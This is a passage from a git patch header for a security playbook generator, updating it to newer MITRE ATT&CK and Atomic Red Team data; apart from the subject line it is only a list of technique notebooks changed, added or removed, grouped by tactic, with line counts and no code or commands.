From 701c43be2b38c845271567bccd20b957d84dd8f3 Mon Sep 17 00:00:00 2001 From: Hare Sudhan Date: Wed, 10 Jan 2024 21:19:23 -0500 Subject: [PATCH] updating to latest mitre attack and atomic red team --- .github/workflows/book.yml | 41 +- playbook-generator/generator.py | 101 +- playbook-generator/models.py | 92 +- playbook-generator/shield/api.py | 3 +- playbook-generator/shield/models.py | 56 +- playbook/{_toc.yml => _toc.yaml} | 242 +--- playbook/tactics.ipynb | 6 +- playbook/tactics/collection.ipynb | 10 +- playbook/tactics/collection/T1005.ipynb | 98 +- playbook/tactics/collection/T1025.ipynb | 12 +- playbook/tactics/collection/T1039.ipynb | 40 +- playbook/tactics/collection/T1056.001.ipynb | 173 ++- playbook/tactics/collection/T1056.002.ipynb | 38 +- playbook/tactics/collection/T1056.003.ipynb | 10 +- playbook/tactics/collection/T1056.004.ipynb | 22 +- playbook/tactics/collection/T1056.ipynb | 12 +- playbook/tactics/collection/T1074.001.ipynb | 67 +- playbook/tactics/collection/T1074.002.ipynb | 10 +- playbook/tactics/collection/T1074.ipynb | 12 +- playbook/tactics/collection/T1113.ipynb | 176 ++- playbook/tactics/collection/T1114.001.ipynb | 26 +- playbook/tactics/collection/T1114.002.ipynb | 10 +- playbook/tactics/collection/T1114.003.ipynb | 26 +- playbook/tactics/collection/T1114.ipynb | 12 +- playbook/tactics/collection/T1115.ipynb | 46 +- playbook/tactics/collection/T1119.ipynb | 44 +- playbook/tactics/collection/T1123.ipynb | 32 +- playbook/tactics/collection/T1125.ipynb | 20 +- playbook/tactics/collection/T1185.ipynb | 12 +- playbook/tactics/collection/T1213.001.ipynb | 10 +- playbook/tactics/collection/T1213.002.ipynb | 10 +- playbook/tactics/collection/T1213.003.ipynb | 10 +- playbook/tactics/collection/T1213.ipynb | 12 +- playbook/tactics/collection/T1530.ipynb | 50 +- playbook/tactics/collection/T1557.001.ipynb | 14 +- playbook/tactics/collection/T1557.002.ipynb | 10 +- playbook/tactics/collection/T1557.003.ipynb | 10 +- playbook/tactics/collection/T1557.ipynb | 14 +- playbook/tactics/collection/T1560.001.ipynb | 159 ++- playbook/tactics/collection/T1560.002.ipynb | 90 +- playbook/tactics/collection/T1560.003.ipynb | 10 +- playbook/tactics/collection/T1560.ipynb | 20 +- playbook/tactics/collection/T1602.001.ipynb | 10 +- playbook/tactics/collection/T1602.002.ipynb | 10 +- playbook/tactics/collection/T1602.ipynb | 12 +- playbook/tactics/command-and-control.ipynb | 10 +- .../command-and-control/T1001.001.ipynb | 10 +- .../command-and-control/T1001.002.ipynb | 10 +- .../command-and-control/T1001.003.ipynb | 10 +- .../tactics/command-and-control/T1001.ipynb | 12 +- .../tactics/command-and-control/T1008.ipynb | 12 +- .../tactics/command-and-control/T1024.ipynb | 38 - .../tactics/command-and-control/T1026.ipynb | 38 - .../tactics/command-and-control/T1032.ipynb | 38 - .../tactics/command-and-control/T1043.ipynb | 38 - .../tactics/command-and-control/T1065.ipynb | 38 - .../command-and-control/T1071.001.ipynb | 30 +- .../command-and-control/T1071.002.ipynb | 12 +- .../command-and-control/T1071.003.ipynb | 10 +- .../command-and-control/T1071.004.ipynb | 32 +- .../tactics/command-and-control/T1071.ipynb | 14 +- .../tactics/command-and-control/T1079.ipynb | 38 - .../command-and-control/T1090.001.ipynb | 36 +- .../command-and-control/T1090.002.ipynb | 10 +- .../command-and-control/T1090.003.ipynb | 68 +- .../command-and-control/T1090.004.ipynb | 10 +- .../tactics/command-and-control/T1090.ipynb | 12 +- .../tactics/command-and-control/T1092.ipynb | 12 +- .../tactics/command-and-control/T1094.ipynb | 38 - .../tactics/command-and-control/T1095.ipynb | 34 +- .../command-and-control/T1102.001.ipynb | 10 +- .../command-and-control/T1102.002.ipynb | 10 +- .../command-and-control/T1102.003.ipynb | 10 +- .../tactics/command-and-control/T1102.ipynb | 12 +- .../tactics/command-and-control/T1104.ipynb | 12 +- .../tactics/command-and-control/T1105.ipynb | 324 ++--- .../command-and-control/T1132.001.ipynb | 55 +- .../command-and-control/T1132.002.ipynb | 10 +- .../tactics/command-and-control/T1132.ipynb | 12 +- .../tactics/command-and-control/T1172.ipynb | 38 - .../tactics/command-and-control/T1188.ipynb | 38 - .../command-and-control/T1205.001.ipynb | 10 +- .../command-and-control/T1205.002.ipynb | 10 +- .../tactics/command-and-control/T1205.ipynb | 12 +- .../tactics/command-and-control/T1219.ipynb | 181 ++- .../tactics/command-and-control/T1483.ipynb | 38 - .../command-and-control/T1568.001.ipynb | 10 +- .../command-and-control/T1568.002.ipynb | 10 +- .../command-and-control/T1568.003.ipynb | 10 +- .../tactics/command-and-control/T1568.ipynb | 12 +- .../tactics/command-and-control/T1571.ipynb | 41 +- .../tactics/command-and-control/T1572.ipynb | 73 +- .../command-and-control/T1573.001.ipynb | 10 +- .../command-and-control/T1573.002.ipynb | 10 +- .../tactics/command-and-control/T1573.ipynb | 16 +- .../tactics/command-and-control/T1659.ipynb | 32 + playbook/tactics/credential-access.ipynb | 10 +- .../tactics/credential-access/T1003.001.ipynb | 230 ++-- .../tactics/credential-access/T1003.002.ipynb | 68 +- .../tactics/credential-access/T1003.003.ipynb | 74 +- .../tactics/credential-access/T1003.004.ipynb | 26 +- .../tactics/credential-access/T1003.005.ipynb | 14 +- .../tactics/credential-access/T1003.006.ipynb | 28 +- .../tactics/credential-access/T1003.007.ipynb | 103 +- .../tactics/credential-access/T1003.008.ipynb | 105 +- .../tactics/credential-access/T1003.ipynb | 68 +- .../tactics/credential-access/T1040.ipynb | 333 +++-- .../tactics/credential-access/T1056.001.ipynb | 173 ++- .../tactics/credential-access/T1056.002.ipynb | 38 +- .../tactics/credential-access/T1056.003.ipynb | 10 +- .../tactics/credential-access/T1056.004.ipynb | 22 +- .../tactics/credential-access/T1056.ipynb | 12 +- .../tactics/credential-access/T1081.ipynb | 38 - .../tactics/credential-access/T1110.001.ipynb | 139 +- .../tactics/credential-access/T1110.002.ipynb | 28 +- .../tactics/credential-access/T1110.003.ipynb | 84 +- .../tactics/credential-access/T1110.004.ipynb | 75 +- .../tactics/credential-access/T1110.ipynb | 12 +- .../tactics/credential-access/T1111.ipynb | 14 +- .../tactics/credential-access/T1139.ipynb | 38 - .../tactics/credential-access/T1141.ipynb | 38 - .../tactics/credential-access/T1142.ipynb | 38 - .../tactics/credential-access/T1145.ipynb | 38 - .../tactics/credential-access/T1167.ipynb | 32 - .../tactics/credential-access/T1171.ipynb | 38 - .../tactics/credential-access/T1174.ipynb | 38 - .../tactics/credential-access/T1179.ipynb | 38 - .../tactics/credential-access/T1187.ipynb | 28 +- .../tactics/credential-access/T1208.ipynb | 38 - .../tactics/credential-access/T1212.ipynb | 14 +- .../tactics/credential-access/T1214.ipynb | 38 - .../tactics/credential-access/T1503.ipynb | 38 - .../tactics/credential-access/T1522.ipynb | 38 - .../tactics/credential-access/T1528.ipynb | 28 +- .../tactics/credential-access/T1539.ipynb | 95 +- .../tactics/credential-access/T1552.001.ipynb | 132 +- .../tactics/credential-access/T1552.002.ipynb | 18 +- .../tactics/credential-access/T1552.003.ipynb | 34 +- .../tactics/credential-access/T1552.004.ipynb | 303 +++-- .../tactics/credential-access/T1552.005.ipynb | 30 +- .../tactics/credential-access/T1552.006.ipynb | 30 +- .../tactics/credential-access/T1552.007.ipynb | 38 +- .../tactics/credential-access/T1552.008.ipynb | 32 + .../tactics/credential-access/T1552.ipynb | 28 +- .../tactics/credential-access/T1555.001.ipynb | 77 +- .../tactics/credential-access/T1555.002.ipynb | 10 +- .../tactics/credential-access/T1555.003.ipynb | 249 ++-- .../tactics/credential-access/T1555.004.ipynb | 18 +- .../tactics/credential-access/T1555.005.ipynb | 10 +- .../tactics/credential-access/T1555.006.ipynb | 32 + .../tactics/credential-access/T1555.ipynb | 54 +- .../tactics/credential-access/T1556.001.ipynb | 10 +- .../tactics/credential-access/T1556.002.ipynb | 28 +- .../tactics/credential-access/T1556.003.ipynb | 73 +- .../tactics/credential-access/T1556.004.ipynb | 10 +- .../tactics/credential-access/T1556.005.ipynb | 10 +- .../tactics/credential-access/T1556.006.ipynb | 8 +- .../tactics/credential-access/T1556.007.ipynb | 8 +- .../tactics/credential-access/T1556.008.ipynb | 32 + .../tactics/credential-access/T1556.ipynb | 12 +- .../tactics/credential-access/T1557.001.ipynb | 14 +- .../tactics/credential-access/T1557.002.ipynb | 10 +- .../tactics/credential-access/T1557.003.ipynb | 10 +- .../tactics/credential-access/T1557.ipynb | 14 +- .../tactics/credential-access/T1558.001.ipynb | 30 +- .../tactics/credential-access/T1558.002.ipynb | 22 +- .../tactics/credential-access/T1558.003.ipynb | 68 +- .../tactics/credential-access/T1558.004.ipynb | 36 +- .../tactics/credential-access/T1558.ipynb | 12 +- .../tactics/credential-access/T1606.001.ipynb | 10 +- .../tactics/credential-access/T1606.002.ipynb | 18 +- .../tactics/credential-access/T1606.ipynb | 12 +- .../tactics/credential-access/T1621.ipynb | 12 +- .../tactics/credential-access/T1649.ipynb | 46 +- playbook/tactics/defense-evasion.ipynb | 10 +- playbook/tactics/defense-evasion/T1006.ipynb | 18 +- playbook/tactics/defense-evasion/T1009.ipynb | 38 - playbook/tactics/defense-evasion/T1014.ipynb | 64 +- .../tactics/defense-evasion/T1027.001.ipynb | 71 +- .../tactics/defense-evasion/T1027.002.ipynb | 42 +- .../tactics/defense-evasion/T1027.003.ipynb | 10 +- .../tactics/defense-evasion/T1027.004.ipynb | 80 +- .../tactics/defense-evasion/T1027.005.ipynb | 10 +- .../tactics/defense-evasion/T1027.006.ipynb | 28 +- .../tactics/defense-evasion/T1027.007.ipynb | 8 +- .../tactics/defense-evasion/T1027.008.ipynb | 8 +- .../tactics/defense-evasion/T1027.009.ipynb | 8 +- .../tactics/defense-evasion/T1027.010.ipynb | 32 + .../tactics/defense-evasion/T1027.011.ipynb | 32 + .../tactics/defense-evasion/T1027.012.ipynb | 38 + playbook/tactics/defense-evasion/T1027.ipynb | 158 ++- .../tactics/defense-evasion/T1036.001.ipynb | 10 +- .../tactics/defense-evasion/T1036.002.ipynb | 10 +- .../tactics/defense-evasion/T1036.003.ipynb | 121 +- .../tactics/defense-evasion/T1036.004.ipynb | 71 +- .../tactics/defense-evasion/T1036.005.ipynb | 26 +- .../tactics/defense-evasion/T1036.006.ipynb | 26 +- .../tactics/defense-evasion/T1036.007.ipynb | 10 +- .../tactics/defense-evasion/T1036.008.ipynb | 32 + .../tactics/defense-evasion/T1036.009.ipynb | 32 + playbook/tactics/defense-evasion/T1036.ipynb | 40 +- playbook/tactics/defense-evasion/T1038.ipynb | 38 - playbook/tactics/defense-evasion/T1045.ipynb | 38 - playbook/tactics/defense-evasion/T1054.ipynb | 38 - .../tactics/defense-evasion/T1055.001.ipynb | 26 +- .../tactics/defense-evasion/T1055.002.ipynb | 57 +- .../tactics/defense-evasion/T1055.003.ipynb | 30 +- .../tactics/defense-evasion/T1055.004.ipynb | 92 +- .../tactics/defense-evasion/T1055.005.ipynb | 10 +- .../tactics/defense-evasion/T1055.008.ipynb | 10 +- .../tactics/defense-evasion/T1055.009.ipynb | 10 +- .../tactics/defense-evasion/T1055.011.ipynb | 57 +- .../tactics/defense-evasion/T1055.012.ipynb | 98 +- .../tactics/defense-evasion/T1055.013.ipynb | 10 +- .../tactics/defense-evasion/T1055.014.ipynb | 10 +- .../tactics/defense-evasion/T1055.015.ipynb | 57 +- playbook/tactics/defense-evasion/T1055.ipynb | 369 +++++- playbook/tactics/defense-evasion/T1064.ipynb | 38 - playbook/tactics/defense-evasion/T1066.ipynb | 38 - .../tactics/defense-evasion/T1070.001.ipynb | 28 +- .../tactics/defense-evasion/T1070.002.ipynb | 525 +++++++- .../tactics/defense-evasion/T1070.003.ipynb | 84 +- .../tactics/defense-evasion/T1070.004.ipynb | 122 +- .../tactics/defense-evasion/T1070.005.ipynb | 38 +- .../tactics/defense-evasion/T1070.006.ipynb | 229 +++- .../tactics/defense-evasion/T1070.007.ipynb | 10 +- .../tactics/defense-evasion/T1070.008.ipynb | 222 +++- .../tactics/defense-evasion/T1070.009.ipynb | 10 +- playbook/tactics/defense-evasion/T1070.ipynb | 55 +- playbook/tactics/defense-evasion/T1073.ipynb | 38 - .../tactics/defense-evasion/T1078.001.ipynb | 61 +- .../tactics/defense-evasion/T1078.002.ipynb | 10 +- .../tactics/defense-evasion/T1078.003.ipynb | 322 ++++- .../tactics/defense-evasion/T1078.004.ipynb | 118 +- playbook/tactics/defense-evasion/T1078.ipynb | 12 +- playbook/tactics/defense-evasion/T1085.ipynb | 38 - playbook/tactics/defense-evasion/T1088.ipynb | 38 - playbook/tactics/defense-evasion/T1089.ipynb | 38 - playbook/tactics/defense-evasion/T1093.ipynb | 38 - playbook/tactics/defense-evasion/T1096.ipynb | 38 - playbook/tactics/defense-evasion/T1099.ipynb | 38 - playbook/tactics/defense-evasion/T1107.ipynb | 38 - playbook/tactics/defense-evasion/T1108.ipynb | 38 - playbook/tactics/defense-evasion/T1109.ipynb | 38 - playbook/tactics/defense-evasion/T1112.ipynb | 1141 ++++++++++++++--- playbook/tactics/defense-evasion/T1116.ipynb | 38 - playbook/tactics/defense-evasion/T1117.ipynb | 38 - playbook/tactics/defense-evasion/T1118.ipynb | 38 - playbook/tactics/defense-evasion/T1121.ipynb | 38 - playbook/tactics/defense-evasion/T1122.ipynb | 38 - playbook/tactics/defense-evasion/T1126.ipynb | 38 - .../tactics/defense-evasion/T1127.001.ipynb | 34 +- playbook/tactics/defense-evasion/T1127.ipynb | 44 +- playbook/tactics/defense-evasion/T1130.ipynb | 38 - .../tactics/defense-evasion/T1134.001.ipynb | 48 +- .../tactics/defense-evasion/T1134.002.ipynb | 22 +- .../tactics/defense-evasion/T1134.003.ipynb | 12 +- .../tactics/defense-evasion/T1134.004.ipynb | 58 +- .../tactics/defense-evasion/T1134.005.ipynb | 28 +- playbook/tactics/defense-evasion/T1134.ipynb | 12 +- playbook/tactics/defense-evasion/T1140.ipynb | 180 ++- playbook/tactics/defense-evasion/T1143.ipynb | 38 - playbook/tactics/defense-evasion/T1144.ipynb | 38 - playbook/tactics/defense-evasion/T1146.ipynb | 38 - playbook/tactics/defense-evasion/T1147.ipynb | 38 - playbook/tactics/defense-evasion/T1148.ipynb | 38 - playbook/tactics/defense-evasion/T1149.ipynb | 38 - playbook/tactics/defense-evasion/T1150.ipynb | 38 - playbook/tactics/defense-evasion/T1151.ipynb | 38 - playbook/tactics/defense-evasion/T1152.ipynb | 38 - playbook/tactics/defense-evasion/T1158.ipynb | 38 - playbook/tactics/defense-evasion/T1170.ipynb | 38 - playbook/tactics/defense-evasion/T1181.ipynb | 38 - playbook/tactics/defense-evasion/T1183.ipynb | 38 - playbook/tactics/defense-evasion/T1186.ipynb | 38 - playbook/tactics/defense-evasion/T1191.ipynb | 38 - playbook/tactics/defense-evasion/T1196.ipynb | 38 - playbook/tactics/defense-evasion/T1197.ipynb | 44 +- playbook/tactics/defense-evasion/T1198.ipynb | 38 - playbook/tactics/defense-evasion/T1202.ipynb | 24 +- .../tactics/defense-evasion/T1205.001.ipynb | 10 +- .../tactics/defense-evasion/T1205.002.ipynb | 10 +- playbook/tactics/defense-evasion/T1205.ipynb | 12 +- playbook/tactics/defense-evasion/T1207.ipynb | 28 +- playbook/tactics/defense-evasion/T1211.ipynb | 14 +- .../tactics/defense-evasion/T1216.001.ipynb | 14 +- playbook/tactics/defense-evasion/T1216.ipynb | 24 +- .../tactics/defense-evasion/T1218.001.ipynb | 82 +- .../tactics/defense-evasion/T1218.002.ipynb | 22 +- .../tactics/defense-evasion/T1218.003.ipynb | 34 +- .../tactics/defense-evasion/T1218.004.ipynb | 138 +- .../tactics/defense-evasion/T1218.005.ipynb | 78 +- .../tactics/defense-evasion/T1218.007.ipynb | 114 +- .../tactics/defense-evasion/T1218.008.ipynb | 32 +- .../tactics/defense-evasion/T1218.009.ipynb | 40 +- .../tactics/defense-evasion/T1218.010.ipynb | 60 +- .../tactics/defense-evasion/T1218.011.ipynb | 124 +- .../tactics/defense-evasion/T1218.012.ipynb | 10 +- .../tactics/defense-evasion/T1218.013.ipynb | 10 +- .../tactics/defense-evasion/T1218.014.ipynb | 10 +- playbook/tactics/defense-evasion/T1218.ipynb | 200 ++- playbook/tactics/defense-evasion/T1220.ipynb | 62 +- playbook/tactics/defense-evasion/T1221.ipynb | 35 +- .../tactics/defense-evasion/T1222.001.ipynb | 54 +- .../tactics/defense-evasion/T1222.002.ipynb | 182 ++- playbook/tactics/defense-evasion/T1222.ipynb | 12 +- playbook/tactics/defense-evasion/T1223.ipynb | 38 - .../tactics/defense-evasion/T1480.001.ipynb | 10 +- playbook/tactics/defense-evasion/T1480.ipynb | 12 +- .../tactics/defense-evasion/T1484.001.ipynb | 28 +- .../tactics/defense-evasion/T1484.002.ipynb | 22 +- playbook/tactics/defense-evasion/T1484.ipynb | 12 +- .../tactics/defense-evasion/T1497.001.ipynb | 65 +- .../tactics/defense-evasion/T1497.002.ipynb | 10 +- .../tactics/defense-evasion/T1497.003.ipynb | 10 +- playbook/tactics/defense-evasion/T1497.ipynb | 12 +- playbook/tactics/defense-evasion/T1500.ipynb | 38 - playbook/tactics/defense-evasion/T1502.ipynb | 38 - playbook/tactics/defense-evasion/T1506.ipynb | 38 - playbook/tactics/defense-evasion/T1527.ipynb | 38 - playbook/tactics/defense-evasion/T1535.ipynb | 12 +- playbook/tactics/defense-evasion/T1536.ipynb | 44 - .../tactics/defense-evasion/T1542.001.ipynb | 10 +- .../tactics/defense-evasion/T1542.002.ipynb | 10 +- .../tactics/defense-evasion/T1542.003.ipynb | 10 +- .../tactics/defense-evasion/T1542.004.ipynb | 10 +- .../tactics/defense-evasion/T1542.005.ipynb | 10 +- playbook/tactics/defense-evasion/T1542.ipynb | 12 +- .../tactics/defense-evasion/T1548.001.ipynb | 199 ++- .../tactics/defense-evasion/T1548.002.ipynb | 275 ++-- .../tactics/defense-evasion/T1548.003.ipynb | 125 +- .../tactics/defense-evasion/T1548.004.ipynb | 10 +- .../tactics/defense-evasion/T1548.005.ipynb | 32 + playbook/tactics/defense-evasion/T1548.ipynb | 12 +- .../tactics/defense-evasion/T1550.001.ipynb | 12 +- .../tactics/defense-evasion/T1550.002.ipynb | 30 +- .../tactics/defense-evasion/T1550.003.ipynb | 34 +- .../tactics/defense-evasion/T1550.004.ipynb | 10 +- playbook/tactics/defense-evasion/T1550.ipynb | 12 +- .../tactics/defense-evasion/T1553.001.ipynb | 14 +- .../tactics/defense-evasion/T1553.002.ipynb | 10 +- .../tactics/defense-evasion/T1553.003.ipynb | 57 +- .../tactics/defense-evasion/T1553.004.ipynb | 135 +- .../tactics/defense-evasion/T1553.005.ipynb | 68 +- .../tactics/defense-evasion/T1553.006.ipynb | 10 +- playbook/tactics/defense-evasion/T1553.ipynb | 12 +- .../tactics/defense-evasion/T1556.001.ipynb | 10 +- .../tactics/defense-evasion/T1556.002.ipynb | 28 +- .../tactics/defense-evasion/T1556.003.ipynb | 73 +- .../tactics/defense-evasion/T1556.004.ipynb | 10 +- .../tactics/defense-evasion/T1556.005.ipynb | 10 +- .../tactics/defense-evasion/T1556.006.ipynb | 8 +- .../tactics/defense-evasion/T1556.007.ipynb | 8 +- .../tactics/defense-evasion/T1556.008.ipynb | 32 + playbook/tactics/defense-evasion/T1556.ipynb | 12 +- .../tactics/defense-evasion/T1562.001.ipynb | 921 +++++++++---- .../tactics/defense-evasion/T1562.002.ipynb | 76 +- .../tactics/defense-evasion/T1562.003.ipynb | 283 +++- .../tactics/defense-evasion/T1562.004.ipynb | 434 +++++-- .../tactics/defense-evasion/T1562.006.ipynb | 196 ++- .../tactics/defense-evasion/T1562.007.ipynb | 12 +- .../tactics/defense-evasion/T1562.008.ipynb | 177 ++- .../tactics/defense-evasion/T1562.009.ipynb | 47 +- .../tactics/defense-evasion/T1562.010.ipynb | 14 +- .../tactics/defense-evasion/T1562.011.ipynb | 32 + .../tactics/defense-evasion/T1562.012.ipynb | 32 + playbook/tactics/defense-evasion/T1562.ipynb | 92 +- .../tactics/defense-evasion/T1564.001.ipynb | 164 ++- .../tactics/defense-evasion/T1564.002.ipynb | 34 +- .../tactics/defense-evasion/T1564.003.ipynb | 48 +- .../tactics/defense-evasion/T1564.004.ipynb | 76 +- .../tactics/defense-evasion/T1564.005.ipynb | 10 +- .../tactics/defense-evasion/T1564.006.ipynb | 52 +- .../tactics/defense-evasion/T1564.007.ipynb | 10 +- .../tactics/defense-evasion/T1564.008.ipynb | 12 +- .../tactics/defense-evasion/T1564.009.ipynb | 10 +- .../tactics/defense-evasion/T1564.010.ipynb | 10 +- .../tactics/defense-evasion/T1564.011.ipynb | 32 + playbook/tactics/defense-evasion/T1564.ipynb | 95 +- .../tactics/defense-evasion/T1574.001.ipynb | 18 +- .../tactics/defense-evasion/T1574.002.ipynb | 40 +- .../tactics/defense-evasion/T1574.004.ipynb | 10 +- .../tactics/defense-evasion/T1574.005.ipynb | 10 +- .../tactics/defense-evasion/T1574.006.ipynb | 42 +- .../tactics/defense-evasion/T1574.007.ipynb | 12 +- .../tactics/defense-evasion/T1574.008.ipynb | 18 +- .../tactics/defense-evasion/T1574.009.ipynb | 20 +- .../tactics/defense-evasion/T1574.010.ipynb | 10 +- .../tactics/defense-evasion/T1574.011.ipynb | 28 +- .../tactics/defense-evasion/T1574.012.ipynb | 58 +- .../tactics/defense-evasion/T1574.013.ipynb | 10 +- playbook/tactics/defense-evasion/T1574.ipynb | 12 +- .../tactics/defense-evasion/T1578.001.ipynb | 10 +- .../tactics/defense-evasion/T1578.002.ipynb | 10 +- .../tactics/defense-evasion/T1578.003.ipynb | 10 +- .../tactics/defense-evasion/T1578.004.ipynb | 10 +- .../tactics/defense-evasion/T1578.005.ipynb | 32 + playbook/tactics/defense-evasion/T1578.ipynb | 10 +- .../tactics/defense-evasion/T1599.001.ipynb | 10 +- playbook/tactics/defense-evasion/T1599.ipynb | 12 +- .../tactics/defense-evasion/T1600.001.ipynb | 10 +- .../tactics/defense-evasion/T1600.002.ipynb | 10 +- playbook/tactics/defense-evasion/T1600.ipynb | 12 +- .../tactics/defense-evasion/T1601.001.ipynb | 10 +- .../tactics/defense-evasion/T1601.002.ipynb | 10 +- playbook/tactics/defense-evasion/T1601.ipynb | 12 +- playbook/tactics/defense-evasion/T1610.ipynb | 22 +- playbook/tactics/defense-evasion/T1612.ipynb | 59 +- playbook/tactics/defense-evasion/T1620.ipynb | 14 +- playbook/tactics/defense-evasion/T1622.ipynb | 10 +- playbook/tactics/defense-evasion/T1647.ipynb | 12 +- playbook/tactics/defense-evasion/T1656.ipynb | 32 + playbook/tactics/discovery.ipynb | 10 +- playbook/tactics/discovery/T1007.ipynb | 34 +- playbook/tactics/discovery/T1010.ipynb | 30 +- playbook/tactics/discovery/T1012.ipynb | 53 +- playbook/tactics/discovery/T1016.001.ipynb | 10 +- playbook/tactics/discovery/T1016.002.ipynb | 38 + playbook/tactics/discovery/T1016.ipynb | 86 +- playbook/tactics/discovery/T1018.ipynb | 186 +-- playbook/tactics/discovery/T1033.ipynb | 78 +- playbook/tactics/discovery/T1040.ipynb | 333 +++-- playbook/tactics/discovery/T1046.ipynb | 127 +- playbook/tactics/discovery/T1049.ipynb | 42 +- playbook/tactics/discovery/T1057.ipynb | 62 +- playbook/tactics/discovery/T1063.ipynb | 38 - playbook/tactics/discovery/T1069.001.ipynb | 97 +- playbook/tactics/discovery/T1069.002.ipynb | 162 ++- playbook/tactics/discovery/T1069.003.ipynb | 12 +- playbook/tactics/discovery/T1069.ipynb | 14 +- playbook/tactics/discovery/T1082.ipynb | 358 ++++-- playbook/tactics/discovery/T1083.ipynb | 64 +- playbook/tactics/discovery/T1087.001.ipynb | 82 +- playbook/tactics/discovery/T1087.002.ipynb | 349 ++++- playbook/tactics/discovery/T1087.003.ipynb | 10 +- playbook/tactics/discovery/T1087.004.ipynb | 10 +- playbook/tactics/discovery/T1087.ipynb | 14 +- playbook/tactics/discovery/T1120.ipynb | 24 +- playbook/tactics/discovery/T1124.ipynb | 40 +- playbook/tactics/discovery/T1135.ipynb | 137 +- playbook/tactics/discovery/T1201.ipynb | 134 +- playbook/tactics/discovery/T1217.ipynb | 122 +- playbook/tactics/discovery/T1482.ipynb | 80 +- playbook/tactics/discovery/T1497.001.ipynb | 65 +- playbook/tactics/discovery/T1497.002.ipynb | 10 +- playbook/tactics/discovery/T1497.003.ipynb | 10 +- playbook/tactics/discovery/T1497.ipynb | 12 +- playbook/tactics/discovery/T1518.001.ipynb | 131 +- playbook/tactics/discovery/T1518.ipynb | 36 +- playbook/tactics/discovery/T1526.ipynb | 30 +- playbook/tactics/discovery/T1538.ipynb | 12 +- playbook/tactics/discovery/T1580.ipynb | 59 +- playbook/tactics/discovery/T1613.ipynb | 22 +- playbook/tactics/discovery/T1614.001.ipynb | 42 +- playbook/tactics/discovery/T1614.ipynb | 10 +- playbook/tactics/discovery/T1615.ipynb | 40 +- playbook/tactics/discovery/T1619.ipynb | 20 +- playbook/tactics/discovery/T1622.ipynb | 10 +- playbook/tactics/discovery/T1652.ipynb | 32 + playbook/tactics/discovery/T1654.ipynb | 67 + playbook/tactics/execution.ipynb | 10 +- playbook/tactics/execution/T1028.ipynb | 38 - playbook/tactics/execution/T1035.ipynb | 38 - playbook/tactics/execution/T1047.ipynb | 94 +- playbook/tactics/execution/T1053.001.ipynb | 38 - playbook/tactics/execution/T1053.002.ipynb | 24 +- playbook/tactics/execution/T1053.003.ipynb | 83 +- playbook/tactics/execution/T1053.004.ipynb | 38 - playbook/tactics/execution/T1053.005.ipynb | 143 ++- playbook/tactics/execution/T1053.006.ipynb | 44 +- playbook/tactics/execution/T1053.007.ipynb | 30 +- playbook/tactics/execution/T1053.ipynb | 12 +- playbook/tactics/execution/T1059.001.ipynb | 150 +-- playbook/tactics/execution/T1059.002.ipynb | 14 +- playbook/tactics/execution/T1059.003.ipynb | 103 +- playbook/tactics/execution/T1059.004.ipynb | 178 ++- playbook/tactics/execution/T1059.005.ipynb | 50 +- playbook/tactics/execution/T1059.006.ipynb | 74 +- playbook/tactics/execution/T1059.007.ipynb | 40 +- playbook/tactics/execution/T1059.008.ipynb | 10 +- playbook/tactics/execution/T1059.009.ipynb | 32 + playbook/tactics/execution/T1059.ipynb | 12 +- playbook/tactics/execution/T1061.ipynb | 38 - playbook/tactics/execution/T1064.ipynb | 38 - playbook/tactics/execution/T1072.ipynb | 34 +- playbook/tactics/execution/T1085.ipynb | 38 - playbook/tactics/execution/T1086.ipynb | 38 - playbook/tactics/execution/T1106.ipynb | 73 +- playbook/tactics/execution/T1117.ipynb | 38 - playbook/tactics/execution/T1118.ipynb | 38 - playbook/tactics/execution/T1121.ipynb | 38 - playbook/tactics/execution/T1129.ipynb | 16 +- playbook/tactics/execution/T1151.ipynb | 38 - playbook/tactics/execution/T1152.ipynb | 38 - playbook/tactics/execution/T1153.ipynb | 38 - playbook/tactics/execution/T1154.ipynb | 38 - playbook/tactics/execution/T1155.ipynb | 38 - playbook/tactics/execution/T1168.ipynb | 38 - playbook/tactics/execution/T1170.ipynb | 38 - playbook/tactics/execution/T1173.ipynb | 38 - playbook/tactics/execution/T1175.ipynb | 38 - playbook/tactics/execution/T1177.ipynb | 38 - playbook/tactics/execution/T1191.ipynb | 38 - playbook/tactics/execution/T1196.ipynb | 38 - playbook/tactics/execution/T1203.ipynb | 12 +- playbook/tactics/execution/T1204.001.ipynb | 10 +- playbook/tactics/execution/T1204.002.ipynb | 116 +- playbook/tactics/execution/T1204.003.ipynb | 47 +- playbook/tactics/execution/T1204.ipynb | 12 +- playbook/tactics/execution/T1223.ipynb | 38 - playbook/tactics/execution/T1559.001.ipynb | 10 +- playbook/tactics/execution/T1559.002.ipynb | 20 +- playbook/tactics/execution/T1559.003.ipynb | 8 +- playbook/tactics/execution/T1559.ipynb | 169 ++- playbook/tactics/execution/T1569.001.ipynb | 18 +- playbook/tactics/execution/T1569.002.ipynb | 132 +- playbook/tactics/execution/T1569.ipynb | 12 +- playbook/tactics/execution/T1609.ipynb | 36 +- playbook/tactics/execution/T1610.ipynb | 22 +- playbook/tactics/execution/T1648.ipynb | 8 +- playbook/tactics/execution/T1651.ipynb | 32 + playbook/tactics/exfiltration.ipynb | 10 +- playbook/tactics/exfiltration/T1002.ipynb | 38 - playbook/tactics/exfiltration/T1011.001.ipynb | 10 +- playbook/tactics/exfiltration/T1011.ipynb | 12 +- playbook/tactics/exfiltration/T1020.001.ipynb | 12 +- playbook/tactics/exfiltration/T1020.ipynb | 20 +- playbook/tactics/exfiltration/T1022.ipynb | 38 - playbook/tactics/exfiltration/T1029.ipynb | 12 +- playbook/tactics/exfiltration/T1030.ipynb | 24 +- playbook/tactics/exfiltration/T1041.ipynb | 16 +- playbook/tactics/exfiltration/T1048.001.ipynb | 10 +- playbook/tactics/exfiltration/T1048.002.ipynb | 28 +- playbook/tactics/exfiltration/T1048.003.ipynb | 56 +- playbook/tactics/exfiltration/T1048.ipynb | 34 +- playbook/tactics/exfiltration/T1052.001.ipynb | 10 +- playbook/tactics/exfiltration/T1052.ipynb | 12 +- playbook/tactics/exfiltration/T1537.ipynb | 12 +- playbook/tactics/exfiltration/T1567.001.ipynb | 10 +- playbook/tactics/exfiltration/T1567.002.ipynb | 28 +- playbook/tactics/exfiltration/T1567.003.ipynb | 53 + playbook/tactics/exfiltration/T1567.004.ipynb | 32 + playbook/tactics/exfiltration/T1567.ipynb | 12 +- playbook/tactics/impact.ipynb | 10 +- playbook/tactics/impact/T1485.ipynb | 83 +- playbook/tactics/impact/T1486.ipynb | 225 +++- playbook/tactics/impact/T1487.ipynb | 38 - playbook/tactics/impact/T1488.ipynb | 38 - 